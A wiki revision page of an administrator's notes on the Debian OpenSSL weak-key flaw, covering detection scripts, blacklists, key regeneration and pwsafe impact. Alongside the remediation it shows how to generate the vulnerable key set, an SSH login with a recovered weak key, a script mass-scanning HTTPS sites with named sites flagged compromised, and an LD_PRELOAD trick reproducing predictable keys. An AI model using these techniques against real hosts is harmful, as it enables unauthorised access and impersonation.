Difference between revisions of "Debian OpenSSL"

From YobiWiki
Jump to navigation Jump to search
m (Reverted edits by Etegohy (Talk) to last revision by PhilippeTeuwen)
 
(20 intermediate revisions by the same user not shown)
Line 6: Line 6:
 
* http://www.milw0rm.com/exploits/5622
 
* http://www.milw0rm.com/exploits/5622
 
* http://www.yobi.be/files/blacklist.RSA-1024 32-bit Intel platform
 
* http://www.yobi.be/files/blacklist.RSA-1024 32-bit Intel platform
  +
* http://blog.cacert.org/2008/05/302.html
   
 
===misc===
 
===misc===
Line 230: Line 231:
 
print >> sys.stderr, "ERROR: %d:\n%s" % (rc, report)
 
print >> sys.stderr, "ERROR: %d:\n%s" % (rc, report)
 
</source>
 
</source>
  +
'''Update''' [http://security.ubuntu.com/ubuntu/pool/main/o/openssl-blacklist/openssl-blacklist_0.1-0ubuntu0.8.04.4_all.deb the new version] deals now with both key files and certificate files
  +
 
Actually to get their version of a fingerprint out of a public certificate, you can simply do
 
Actually to get their version of a fingerprint out of a public certificate, you can simply do
 
openssl x509 -noout -modulus -in mycertificate.crt.pem |sha1sum
 
openssl x509 -noout -modulus -in mycertificate.crt.pem |sha1sum
  +
To check the host and all the vservers:
  +
  +
<source lang=bash>
  +
find /etc /home/vservers/*/etc -name "*.key"|xargs -l1 -r openssl-vulnkey 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (key)"}'
  +
find /etc /home/vservers/*/etc -name "*.pem" -not -path "*/etc/ssl/certs/*" |xargs -l1 -r openssl-vulnkey 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (key)"}'
  +
find /etc /home/vservers/*/etc -name "*.crt"|xargs -l1 -r openssl-vulncert 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (cert)"}'
  +
find /etc /home/vservers/*/etc -name "*.pem" -not -path "*/etc/ssl/certs/*" |xargs -l1 -r openssl-vulncert 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (cert)"}'
  +
</source>
  +
  +
I'm using a modified version of openssl-vulnkey where I present always a default empty password to avoid being blocked by password-protected pems:
  +
<source lang=diff>
  +
--- /usr/sbin/openssl-vulnkey 2008-05-16 00:26:39.000000000 +0200
  +
+++ /usr/sbin/openssl-vulnkey 2008-05-18 16:40:02.000000000 +0200
  +
@@ -55,7 +55,7 @@
  +
  +
def get_bits(file):
  +
'''Find bit length of file'''
  +
- rc, report = cmd(['openssl', 'rsa', '-text', '-in', file])
  +
+ rc, report = cmd(['openssl', 'rsa', '-text', '-passin', 'pass:', '-in', file])
  +
if rc != 0:
  +
try:
  +
print >> sys.stderr, "ERROR:\n%s" % (report)
  +
</source>
   
 
====Scan====
 
====Scan====
Line 451: Line 477:
 
COMPROMISED: 4da0544ef1cf3cac7e166592e0900d6be2a92fae www.smartsalto.be2 (from https://www.smartsalto.be)
 
COMPROMISED: 4da0544ef1cf3cac7e166592e0900d6be2a92fae www.smartsalto.be2 (from https://www.smartsalto.be)
 
COMPROMISED: 1b7da681c247784a6b9e1a1b2c15dcd091b5aa75 securehomes.esat.kuleuven.be2 (from https://securehomes.esat.kuleuven.be)
 
COMPROMISED: 1b7da681c247784a6b9e1a1b2c15dcd091b5aa75 securehomes.esat.kuleuven.be2 (from https://securehomes.esat.kuleuven.be)
  +
  +
If you don't want to scan the entire chain but just the server certificate, you don't need fetch-https-1cert:
  +
<source lang=bash>
  +
#!/bin/bash
  +
  +
REQ=$1
  +
REQ=${REQ:-site:be}
  +
  +
start=0
  +
  +
tmpfile=$(mktemp)
  +
for ((i=$start;i<10;i++)); do
  +
echo "Fetching 100 results starting from ${i}00"
  +
for site in $(wget -q -O - --header "User-Agent: Mozilla/5.0" "http://www.google.fr/search?q=inurl%3Ahttps+$REQ&start=${i}00&num=100" |\
  +
egrep -o "https://[a-z0-9.-]+"|\
  +
sort|\
  +
uniq); do
  +
openssl s_client -connect ${site##https://}:443 </dev/null >$tmpfile 2>/dev/null
  +
./openssl-vulncert $tmpfile | sed "s#/tmp/.*\$#$site#"
  +
done
  +
done
  +
rm $tmpfile
  +
</source>
   
 
===OpenVPN===
 
===OpenVPN===
Line 522: Line 571:
 
COMPROMISED: 7a8981b3333b29be27b03867d253bb3680957e1f test
 
COMPROMISED: 7a8981b3333b29be27b03867d253bb3680957e1f test
 
Bingo :-)
 
Bingo :-)
  +
====pwsafe====
  +
Small subtility: pwsafe can be +s (for using safe RAM) but suid executables don't take injected libraries so we've to remove the suid bit to inject getpid.so
  +
$ sudo chmod -s /usr/bin/pwsafe
  +
$ ./execwithpid.sh 1 pwsafe -f test --createdb
  +
no passphrase
  +
$ ./execwithpid.sh 1 pwsafe -f test2 --createdb
  +
no passphrase
  +
$ md5sum test*
  +
23421a4fa62c127ad6c08a43afa8f4af test
  +
23421a4fa62c127ad6c08a43afa8f4af test2
  +
  +
First issue: the random seed of the DBs is now the same!
  +
<br>More exactly, the random, the salt and the iv.
  +
<br>The random is fixed at creation of the DB.
  +
<br>Apparently the seed & iv are renewed at every edition of the DB and depend only on a fresh random.
  +
<br>Data encryption depend only on hash and seed/iv so even with different random, if the fresh random for seed is the same, the encrypted data is the same.
  +
<br>A practical attack against a pwsafe DB is e.g. to construct a generic rainbow with the possible random seeds and your favorite character class. Once done it could attack any pwsafe DB generated with a broken OpenSSL or even edited with a broken OpenSSL (if I understand well).
  +
  +
$ ./execwithpid.sh 1 pwsafe -f test2 -a test
  +
...
  +
Generate random password? [y]
  +
Use bFewpf^uIIZ?fS@u&PkF\>Hb5-QFXJKTxMyx
  +
$ ./execwithpid.sh 1 pwsafe -f test2 -a test
  +
...
  +
Generate random password? [y]
  +
Use bFewpf^uIIZ?fS@u&PkF\>Hb5-QFXJKTxMyx
  +
Second issue: all nice passwords proposed by pwsafe when creating a new entry are now broken!
  +
<br>So are all the accounts you created around based on those pwds
  +
<br>No matter the DB/user/group/... you are using
  +
  +
Of course no matter how decently you seeded the RANDFILE ~/.rnd (cf man)
  +
  +
To rekey your pwsafe, create a new one, import the old one then delete the old one:
  +
$ pwsafe -f newdb --create
  +
Enter passphrase for newdb:
  +
Reenter passphrase for newdb:
  +
$ pwsafe -f newdb --mergedb=/home/myself/.pwsafe.dat
  +
Enter passphrase for newdb:
  +
Enter passphrase for /home/myself/.pwsafe.dat:
  +
Merged 247 entries; skipped 0; 0 duplicates.
  +
$ wipe /home/myself/.pwsafe.dat
  +
$ wipe /home/myself/.pwsafe.dat~
  +
$ mv newdb /home/myself/.pwsafe.dat
  +
$ mv newdb~ /home/myself/.pwsafe.dat~
  +
# once you're sure your new DB is working, wipe all the backups you could have made
  +
  +
And if you generated your account passwords with pwsafe, you'd better renew all those passwords...
  +
  +
More info should come soon on [http://wiki.debian.org/SSLkeys#head-6523d3550ab4db504bab0833605e2cbfac09e39b Debian wiki]
   
 
===Status===
 
===Status===

Latest revision as of 21:36, 24 November 2010

This is a compilation of my notes on this matter

Links

misc

OpenSSH

Blacklists

cat $1 | sed 's/^............//' | sort > blacklist.$(echo $1|cut -c 1-8|tr a-z A-Z)

DELETE ALL DSA KEYS

Ok there are nice DSA blacklists but actually if a good DSA key was used on a bad machine, the key is compromised! (thanks Roland)

Check

Etch version gives you openssh-blacklist package and ssh-vulnkey in openssh-client
This Etch version has a sshd which checks all client connections against the blacklist so even if the keys are still in authorized_keys you should be safe

On Lenny/Sid, you can extract the Etch /etc/ssh/blacklist* and /usr/bin/ssh-vulnkey and use them

To checks all my vservers I did this [{{#file: ssh-myvuln.sh}} little script]:

#!/bin/bash


function filter () {
    sed 's/\(Not blacklisted: \)/\1                   /;
         s/\(COMPROMISED: \)/\1                       /;
         s/222$/.broken/;
	 '
}

function scan () {
    #echo $1
    ssh-vulnkey $1 | filter
}

function checkpath () {
    mypath="$1"
    echo "===== server keys at $mypath ====="
    for i in $(ls ${mypath}etc/ssh/*_key 2>/dev/null); do scan $i; done
    echo "===== discarded broken server keys at $mypath ====="
    for i in $(ls ${mypath}etc/ssh/*_key.pub.broken 2>/dev/null); do cp $i ${i%%.broken}222; scan ${i%%.broken}222; rm ${i%%.broken}222; done
    echo "===== client keys at $mypath ====="
    for i in $(ls ${mypath}root/.ssh/id* 2>/dev/null); do scan $i; done
    for i in $(ls ${mypath}home/*/.ssh/id* 2>/dev/null); do scan $i; done
    for v in $(ls ${mypath}etc/passwd 2>/dev/null); do 
        for u in $(cat $v|awk -F: '{print $6}'|sort|uniq|egrep -v "^(/root|/home/[a-z0-9]*)$"|sed 's#^/##'); do
            for i in $(ls ${v%%etc/passwd}${u}/.ssh/id* 2>/dev/null); do scan $i; done
        done
    done
    echo "===== authorized external client keys at $mypath ====="
    for i in $(ls ${mypath}root/.ssh/*_keys* 2>/dev/null); do scan $i; done
    for i in $(ls ${mypath}home/*/.ssh/*_keys* 2>/dev/null); do scan $i; done
    for i in $(ls ${mypath}var/lib/backuppc/.ssh/*_keys* 2>/dev/null); do scan $i; done
    echo "===== known external server keys at $mypath ====="
    for i in $(ls ${mypath}etc/ssh/known_hosts 2>/dev/null); do scan $i; done
    for i in $(ls ${mypath}root/.ssh/known_hosts 2>/dev/null); do scan $i; done
    for i in $(ls ${mypath}home/*/.ssh/known_hosts 2>/dev/null); do scan $i; done
    for i in $(ls ${mypath}var/lib/backuppc/.ssh/known_hosts 2>/dev/null); do scan $i; done
}

checkpath "/"
checkpath "/home/vservers/*/"

To get a resume sortable on the fingerprint:

ssh-myvuln.sh |grep ":..:..:"|sed 's/\(.\).* \(..:..:..:..:..:..:..:..:..:..:..:..:..:..:..:..\) \(.*\)/\2 \1 hostname:\3/'|sort > mykeys

To get a list to check against a blacklist:

cat mykeys |cut -c 19,20,22,23,25,26,28,29,31,32,34,35,37,38,40,41,43,44,46,47|sort|uniq > myfing
cat myfing blacklist | sort | uniq -d

Scan

[{{#file: dowkd.pl.patch}} Patch] against dowkd.pl for fetching keys from /etc/ssh/blacklist*

--- dowkd.pl   2008-05-16 16:00:53.000000000 +0200
+++ dowkd.pl   2008-05-16 15:55:23.000000000 +0200
@@ -47,19 +47,29 @@
 my $db;
 my %db;
 
+my $blacklistdir='/etc/ssh';
+
 sub create_db () {
     $db = tie %db, 'DB_File', $db_file, O_RDWR | O_CREAT, 0777, $DB_BTREE
        or die "error: could not open database: $!\n";
 
     $db{''} = $db_version;
-    while (my $line = <DATA>) {
-       next if $line =~ /^\**$/;
-       chomp $line;
-       $line =~ /^[0-9a-f]{32}$/ or die "error: invalid data line";
-       $line =~ s/(..)/chr(hex($1))/ge;
-       $db{$line} = '';
+    opendir(my $dh, $blacklistdir) or die "Cannot open dir $blacklistdir : $!\n";
+    while(my $e=readdir($dh)) {
+       next if $e =~ m/^\.\.?$/;
+       next unless $e =~ m/^blacklist/;
+print STDERR "Reading $e\n";
+       open (my $fh, $blacklistdir.'/'.$e) or die "Cannot open file $e : $!\n";
+       while (my $line = <$fh>) {
+           next if $line =~ /^\**$/;
+           next if $line =~ /^#/;
+           chomp $line;
+           $line =~ /^[0-9a-f]{20}$/ or die "error: invalid data line";
+#print STDERR "Line= $line\n";
+           $line =~ s/(..)/chr(hex($1))/ge;
+           $db{$line} = '';
+       }
     }
-
     $db->sync;
 }
 
@@ -106,6 +116,7 @@
 sub check_hash ($$) {
     my ($name, $hash) = @_;
     ++$keys_found;
+    $hash =~ s/^......//;
     if (exists $db{$hash}) {
        ++$keys_vulnerable;
        print "$name: weak key\n";
for ip in $(netenum 85.17.183.154/27); do ./dowkd.pl host $ip; done

Netenum is part of irpas

Renew server keys

mv /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.broken
mv /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_dsa_key.pub.broken
mv /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_rsa_key.broken
mv /etc/ssh/ssh_host_rsa_key.pub /etc/ssh/ssh_host_rsa_key.pub.broken
dpkg-reconfigure openssh-server
ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key

If only the DSA keys must be regenerated (ALL DSA MUST BE REGENERATED!):

mv /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_dsa_key.pub.unsafe
mv /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.unsafe
ssh-keygen -f /etc/ssh/ssh_host_dsa_key -t dsa -N ''

Generate vuln keys & blacklists

To generate yourself the vulnerable key set:

wget http://sugar.metasploit.com/ubunturoot.tar.bz2
wget http://metasploit.com/users/hdm/tools/debian-openssl/dokeygen.sh

Put dokeygen.sh in the root of the ubuntu filesystem Example for RSA 1024 (but RSA keys were upgraded by default to 2048 since Sept 2005)

sudo chroot ubunturoot
for ((i=1;i<32768;i++)); do 
  echo $i;
  /dokeygen.sh $i -t rsa -b 1024 -f /tmp/rsa_1024_$i; 
done

Ideally keys & blacklists must be generated on 32 & 64-bit platforms, little & big endian

Then to extract the fingerprints to make the blacklist

for ((i=1;i<32768;i++)); do 
  if [ -e rsa_1024_$i ]; then
    echo $i;
    f=$(ssh-keygen -l -f rsa_1024_$i|sed 's/1024 \([0-9a-f:]\+\) rsa.*/\1/;s/://g') 
    mv rsa_1024_$i $f-$i 
    mv rsa_1024_$i.pub $f-$i.pub 
    echo $f |sed 's/^............//'>> blacklist.RSA-1024 
  fi 
done

Exploiting a vuln key:
Example of a fingerprint found in an authorized_keys file:

ssh -i 491f487168134647f111a882c8a04059-21223 bibi@hostname
bibi@hostname:~$

OpenSSL

Check

wget https://launchpad.net/ubuntu/hardy/+source/openssl-blacklist/0.1-0ubuntu0.8.04.2/+files/openssl-blacklist_0.1-0ubuntu0.8.04.2.tar.gz
tar xzf openssl-blacklist_0.1-0ubuntu0.8.04.2.tar.gz
cd openssl-blacklist-0.1
Edit debian/control and cleans the dependence on openssl for Ubuntu
fakeroot debian/rules binary
cd ..
sudo dpkg -i openssl-blacklist_0.1-0ubuntu0.8.04.2_all.deb

Now you have openssl-vulnkey tool

But this works only on private key files.
Here is a [{{#file: openssl-vulnkey.patch}} patch] to get it working against public certificate files (so you can check certifs of your favorite https sites, e.g. by exporting the certifs with FF)

--- openssl-vulnkey     2008-05-16 19:56:51.000000000 +0200
+++ openssl-vulncert    2008-05-16 19:56:36.000000000 +0200
@@ -55,7 +55,7 @@
 
 def get_bits(file):
     '''Find bit length of file'''
-    rc, report = cmd(['openssl', 'rsa', '-text', '-in', file])
+    rc, report = cmd(['openssl', 'x509', '-text', '-in', file])
     if rc != 0:
         try:
             print >> sys.stderr, "ERROR:\n%s" % (report)
@@ -64,16 +64,16 @@
         return ""
 
     for line in report:
-        if "Private-Key: (1024" in report:
+        if "Public Key: (1024" in report:
             return "1024"
-        elif "Private-Key: (2048" in report:
+        elif "Public Key: (2048" in report:
             return "2048"
 
     return ""
 
 def get_modulus(file):
     '''Find modulus of file'''
-    rc, report = cmd(['openssl', 'rsa', '-noout', '-modulus', '-in', file])
+    rc, report = cmd(['openssl', 'x509', '-noout', '-modulus', '-in', file])
     if rc != 0:
         try:
             print >> sys.stderr, "ERROR: %d:\n%s" % (rc, report)

Update the new version deals now with both key files and certificate files

Actually to get their version of a fingerprint out of a public certificate, you can simply do

openssl x509 -noout -modulus -in mycertificate.crt.pem |sha1sum

To check the host and all the vservers:

find /etc /home/vservers/*/etc -name "*.key"|xargs -l1 -r openssl-vulnkey 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (key)"}'
find /etc /home/vservers/*/etc -name "*.pem" -not -path "*/etc/ssl/certs/*" |xargs -l1 -r openssl-vulnkey 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (key)"}'
find /etc /home/vservers/*/etc -name "*.crt"|xargs -l1 -r openssl-vulncert 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (cert)"}'
find /etc /home/vservers/*/etc -name "*.pem" -not -path "*/etc/ssl/certs/*" |xargs -l1 -r openssl-vulncert  2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (cert)"}'

I'm using a modified version of openssl-vulnkey where I present always a default empty password to avoid being blocked by password-protected pems:

--- /usr/sbin/openssl-vulnkey   2008-05-16 00:26:39.000000000 +0200
+++ /usr/sbin/openssl-vulnkey   2008-05-18 16:40:02.000000000 +0200
@@ -55,7 +55,7 @@
 
 def get_bits(file):
     '''Find bit length of file'''
-    rc, report = cmd(['openssl', 'rsa', '-text', '-in', file])
+    rc, report = cmd(['openssl', 'rsa', '-text', '-passin', 'pass:', '-in', file])
     if rc != 0:
         try:
             print >> sys.stderr, "ERROR:\n%s" % (report)

Scan

Next step is to get the certificates chain from the distant website
Here is [{{#file: fetch-https-1cert.c}} fetch-https-1cert.c] to do the job

/**
 * Fetch an HTTPS page and display the certificate chain.

Sources:
http://curl.haxx.se/mail/lib-2005-06/0106.html
http://openvpn.net/archive/openvpn-devel/2005-12/msg00000.html
http://www.mail-archive.com/debian-bugs-closed@lists.debian.org/msg173845.html

 */

#include <assert.h>
#include <stdio.h>
#include <curl/curl.h>
#include <openssl/ssl.h>

char error_buffer[CURL_ERROR_SIZE] = "";

CURLcode go(CURL *curl, char *url);
CURLcode sslctxfun(CURL *curl, SSL_CTX *sslctx, void *parm);
int verify_callback(int preverify_ok, X509_STORE_CTX *x509_ctx);
void print_certificate(X509 *cert);

/* arrays for certificate chain and errors */
#define MAX_CERTS 20
X509 *certificate[MAX_CERTS];
long certificate_error[MAX_CERTS];
char site[256];
int count=0;

int main(int argc, char *argv[])
{
  unsigned int i;
  CURL *curl;
  CURLcode code;

  assert(argc == 2);

  for (i = 0; i != MAX_CERTS; i++) {
    certificate[i] = 0;
    certificate_error[i] = X509_V_OK;
  }

  curl = curl_easy_init();
  assert(curl);

  strncpy(site, argv[1], 256);
  site[255]=0;
  code = go(curl, argv[1]);
  if (code != CURLE_OK)
    fprintf(stderr, "Error %u: %s\n%s\n",
        code,
        curl_easy_strerror(code),
        error_buffer);

  curl_easy_cleanup(curl);

  return 0;
}

CURLcode go(CURL *curl, char *url)
{
  CURLcode code;
  FILE* devnull = NULL;
  devnull = fopen("/dev/null", "w+");
  code = curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, error_buffer);
  if (code != CURLE_OK)
    return code;
  code = curl_easy_setopt(curl, CURLOPT_URL, url);
  if (code != CURLE_OK)
    return code;
//  code = curl_easy_setopt(curl, CURLOPT_WRITEHEADER, stdout);
//  if (code != CURLE_OK)
//    return code;
  code = curl_easy_setopt(curl, CURLOPT_WRITEDATA, devnull);
  if (code != CURLE_OK)
    return code;
  code = curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5);
  if (code != CURLE_OK)
    return code;

  /* fetch the page even if verifying the certificates fails */
  code = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
  if (code != CURLE_OK)
    return code;
  code = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
  if (code != CURLE_OK)
    return code;

  code = curl_easy_setopt(curl, CURLOPT_SSL_CTX_FUNCTION, sslctxfun);
  if (code != CURLE_OK)
    return code;

  code = curl_easy_perform(curl);
  fclose(devnull);
  return code;
}

CURLcode sslctxfun(CURL *curl, SSL_CTX *sslctx, void *parm)
{
  SSL_CTX_set_verify(sslctx, SSL_VERIFY_PEER, verify_callback);

  return CURLE_OK;
}

static void
extract_x509_field_ssl (X509_NAME *x509, const char *field_name, char *out, int size)
{
  int lastpos = -1;
  int tmp = -1;
  X509_NAME_ENTRY *x509ne = 0;
  ASN1_STRING *asn1 = 0;
  unsigned char *buf = 0;
  int nid = OBJ_txt2nid(field_name);

  *out = '\0';
  do {
    lastpos = tmp;
    tmp = X509_NAME_get_index_by_NID(x509, nid, lastpos);
  } while (tmp > 0);

  /* Nothing found */
  if (lastpos == -1)
    return;

  x509ne = X509_NAME_get_entry(x509, lastpos);
  if (!x509ne)
    return;

  asn1 = X509_NAME_ENTRY_get_data(x509ne);
  if (!asn1)
    return;
  tmp = ASN1_STRING_to_UTF8(&buf, asn1);
  if (tmp <= 0)
    return;

  strncpy(out, buf, size);
  OPENSSL_free(buf);
}

int verify_callback(int preverify_ok, X509_STORE_CTX *x509_ctx)
{
  X509 *cert = X509_STORE_CTX_get_current_cert(x509_ctx);
  int depth = X509_STORE_CTX_get_error_depth(x509_ctx);
  int err = X509_STORE_CTX_get_error(x509_ctx);
  FILE *peercert_file;
  char s[256];
  char ii[256];

  /* save the certificate by incrementing the reference count and
   * keeping a pointer */
  if (depth < MAX_CERTS && !certificate[depth]) {
    certificate[depth] = cert;
    certificate_error[depth] = err;
    cert->references++;
  }

  extract_x509_field_ssl (X509_get_subject_name(cert), "CN", s, 256);
  /* write peer-cert in tmp-file */
  if (s[0]==0)
    {
      strcpy(s, site+8);
    }
  sprintf(ii, "%d", count++);
  strcat(s, ii);
  printf("Writing cert in: %s\n", s);
  peercert_file = fopen(s, "w+");
  if(!peercert_file)
    {
      printf("Failed to open file : %s", s);
      return 1;
    }
  if(PEM_write_X509(peercert_file,cert)<0)
    {
      printf("Failed to write peer certificate in PEM format");
      fclose(peercert_file);
      return 1;
    }
  fclose(peercert_file);

  return 1;
}

So now empowered with Google we can do sth like this:

#!/bin/bash

REQ=$1
REQ=${REQ:-site:be}

start=0

for ((i=$start;i<10;i++)); do
    echo "Fetching 100 results starting from ${i}00"
    for site in $(wget -q -O - --header "User-Agent: Mozilla/5.0" "http://www.google.fr/search?q=inurl%3Ahttps+$REQ&start=${i}00&num=100" |\
                  egrep -o "https://[a-z0-9.-]+"|\
                  sort|\
                  uniq); do
        ./fetch-https-1cert $site |\
            cut -c 18- |\
            xargs -d '\n' -l1 -r ./openssl-vulncert | sed "s#\$# (from $site)#"
    done
done
./scanhttps |grep COMPROMISED|uniq -w 53
COMPROMISED: 942c267f69f53567053ad77f980f2d8980270759 leclea.be1 (from https://leclea.be)
COMPROMISED: 9c5526d7d2d152e8ac437a669741a6ed6bed78a9 www.phpcompta.be0 (from https://phpcompta.be)
COMPROMISED: 97c7fdf8136f5c47d3aa2b9667dd252f6af7ebf6 phpcompta.be2 (from https://phpcompta.be)
COMPROMISED: fb62587b6fd13b6b7de54fcf10de77f586ac3362 Dr. Robert Necesseter0 (from https://tirna.nog.be)
COMPROMISED: a7ae2ec301f7b7b844371bc76c20ee0747c32f15 www.pptickets.be4 (from https://www.pptickets.be)
COMPROMISED: bbc4679d1ddccb716593c069708ad2cb21115a47 a248.e.akamai.net1 (from https://www.nokia.be)
COMPROMISED: 4da0544ef1cf3cac7e166592e0900d6be2a92fae www.smartsalto.be2 (from https://www.smartsalto.be)
COMPROMISED: 1b7da681c247784a6b9e1a1b2c15dcd091b5aa75 securehomes.esat.kuleuven.be2 (from https://securehomes.esat.kuleuven.be)

If you don't want to scan the entire chain but just the server certificate, you don't need fetch-https-1cert:

#!/bin/bash

REQ=$1
REQ=${REQ:-site:be}

start=0

tmpfile=$(mktemp)
for ((i=$start;i<10;i++)); do
    echo "Fetching 100 results starting from ${i}00"
    for site in $(wget -q -O - --header "User-Agent: Mozilla/5.0" "http://www.google.fr/search?q=inurl%3Ahttps+$REQ&start=${i}00&num=100" |\
                  egrep -o "https://[a-z0-9.-]+"|\
                  sort|\
                  uniq); do
        openssl s_client -connect ${site##https://}:443 </dev/null >$tmpfile 2>/dev/null
        ./openssl-vulncert $tmpfile | sed "s#/tmp/.*\$#$site#"
    done
done
rm $tmpfile

OpenVPN

It's not about the SSL keys, those can be checked with openssl-vulnkey.
It's about the shared static keys (openvpn -genkey)

wget https://launchpad.net/ubuntu/hardy/+source/openvpn-blacklist/0.1-0ubuntu0.8.04.1/+files/openvpn-blacklist_0.1-0ubuntu0.8.04.1.tar.gz
tar xzf openvpn-blacklist_0.1-0ubuntu0.8.04.1.tar.gz
cd openvpn-blacklist-0.1
fakeroot debian/rules binary
cd ..
sudo dpkg -i openvpn-blacklist_0.1-0ubuntu0.8.04.1_all.deb

Now you have openvpn-vulnkey tool

Others

  • encfs
    • My key is older, ouf!
  • pwsafe, depends also on libssl0.9.8, to be assessed!!

Testing other applications using OpenSSL

We saw that there was a chroot environment for ssh-keygen but putting all applications you want to test in the chroot + all the dependencies can be painful so I did a script to use the ubuntu libraries but from the host, without need to chroot.

wget http://sugar.metasploit.com/ubunturoot.tar.bz2

Actually you don't need all the filesystem, but just:

./usr/lib/libcrypto.so.0.9.8
./usr/lib/libgnutls-openssl.so.13.0.6
./usr/lib/libgnutls-openssl.so.11.1.16
./usr/lib/libssl.so
./usr/lib/libcrypto.so
./usr/lib/libcrypto.so.0.9.7
./usr/lib/libk5crypto.so.3
./usr/lib/libk5crypto.so
./usr/lib/libgnutls-openssl.so.11
./usr/lib/libk5crypto.so.3.0
./usr/lib/libgnutls-openssl.so.13
./usr/lib/libgnutls-openssl.so.12
./usr/lib/libssl.so.0.9.7
./usr/lib/libgnutls-openssl.so.12.3.8
./usr/lib/libssl.so.0.9.8
./getpid.so

Now my script [{{#file: execwithpid.sh}} execwithpid.sh]:

#!/bin/bash
MAGICPID=$1
shift
LD_PRELOAD=./getpid.so
LD_LIBRARY_PATH=./usr/lib/

export MAGICPID
export LD_PRELOAD
export LD_LIBRARY_PATH

$@

Example: (no chroot!)

$ ./execwithpid.sh 1 ssh-keygen -f test
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in test.
Your public key has been saved in test.pub.
The key fingerprint is:
65:23:e0:30:76:cb:9c:f6:a9:72:64:1c:f0:4d:90:b9 phil@mercure
$ ssh-vulnkey test
COMPROMISED: 2048 65:23:e0:30:76:cb:9c:f6:a9:72:64:1c:f0:4d:90:b9 test.pub

Bingo :-)

$ ./execwithpid.sh 100 openssl genrsa -out test 1024
Generating RSA private key, 1024 bit long modulus
...............................++++++
..........................................++++++
e is 65537 (0x10001)
$ openssl-vulnkey test
COMPROMISED: 7a8981b3333b29be27b03867d253bb3680957e1f test

Bingo :-)

pwsafe

Small subtility: pwsafe can be +s (for using safe RAM) but suid executables don't take injected libraries so we've to remove the suid bit to inject getpid.so

$ sudo chmod -s /usr/bin/pwsafe 
$ ./execwithpid.sh 1 pwsafe -f test --createdb
no passphrase
$ ./execwithpid.sh 1 pwsafe -f test2 --createdb
no passphrase
$ md5sum test*
23421a4fa62c127ad6c08a43afa8f4af  test
23421a4fa62c127ad6c08a43afa8f4af  test2

First issue: the random seed of the DBs is now the same!
More exactly, the random, the salt and the iv.
The random is fixed at creation of the DB.
Apparently the seed & iv are renewed at every edition of the DB and depend only on a fresh random.
Data encryption depend only on hash and seed/iv so even with different random, if the fresh random for seed is the same, the encrypted data is the same.
A practical attack against a pwsafe DB is e.g. to construct a generic rainbow with the possible random seeds and your favorite character class. Once done it could attack any pwsafe DB generated with a broken OpenSSL or even edited with a broken OpenSSL (if I understand well).

$ ./execwithpid.sh  1 pwsafe -f test2 -a test   
...
Generate random password? [y] 
Use bFewpf^uIIZ?fS@u&PkF\>Hb5-QFXJKTxMyx
$ ./execwithpid.sh  1 pwsafe -f test2 -a test
...
Generate random password? [y] 
Use bFewpf^uIIZ?fS@u&PkF\>Hb5-QFXJKTxMyx

Second issue: all nice passwords proposed by pwsafe when creating a new entry are now broken!
So are all the accounts you created around based on those pwds
No matter the DB/user/group/... you are using

Of course no matter how decently you seeded the RANDFILE ~/.rnd (cf man)

To rekey your pwsafe, create a new one, import the old one then delete the old one:

$ pwsafe -f newdb --create
Enter passphrase for newdb: 
Reenter passphrase for newdb: 
$ pwsafe -f newdb --mergedb=/home/myself/.pwsafe.dat
Enter passphrase for newdb: 
Enter passphrase for /home/myself/.pwsafe.dat: 
Merged 247 entries; skipped 0; 0 duplicates.
$ wipe /home/myself/.pwsafe.dat
$ wipe /home/myself/.pwsafe.dat~
$ mv newdb /home/myself/.pwsafe.dat
$ mv newdb~ /home/myself/.pwsafe.dat~
# once you're sure your new DB is working, wipe all the backups you could have made

And if you generated your account passwords with pwsafe, you'd better renew all those passwords...

More info should come soon on Debian wiki

Status

  • zeus
  • hera
  • themis
  • olympe
  • mercure
  • venus